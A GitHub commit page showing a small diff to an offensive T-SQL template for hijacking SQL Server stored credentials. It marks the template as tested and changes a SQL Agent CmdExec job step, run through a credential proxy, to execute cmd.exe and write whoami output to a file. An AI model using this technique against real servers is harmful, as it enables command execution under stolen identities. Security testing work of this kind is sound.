Skip to content

Commit

Permalink
Update Get-Credentials-Hijack.tsql
Browse files Browse the repository at this point in the history
  • Loading branch information
nullbind authored Aug 20, 2024
1 parent 43cddf4 commit eec48d6
Showing 1 changed file with 2 additions and 3 deletions.
5 changes: 2 additions & 3 deletions templates/tsql/Get-Credentials-Hijack.tsql
Original file line number Diff line number Diff line change
@@ -1,5 +1,4 @@
-- Pending testing

-- Tested and worked - SQL Server v2014 instance

--------------------------
-- Create a new credential named 'MyCredential' - for testing
Expand Down Expand Up @@ -59,7 +58,7 @@ EXEC sp_add_jobstep
@job_name = N'WhoAmIJob',
@step_name = N'ExecuteWhoAmI',
@subsystem = N'CmdExec', -- Specifies an Operating System command
@command = N'whoami', -- The OS command to execute
@command = N'c:\windows\system32\cmd.exe /c whoami > c:\temp\whoami.txt', -- The OS command to execute
@on_success_action = 1, -- 1 = Quit with success
@on_fail_action = 2, -- 2 = Quit with failure
@proxy_name = N'MyCredentialProxy'; -- The proxy created earlier
Expand Down

0 comments on commit eec48d6

Please sign in to comment.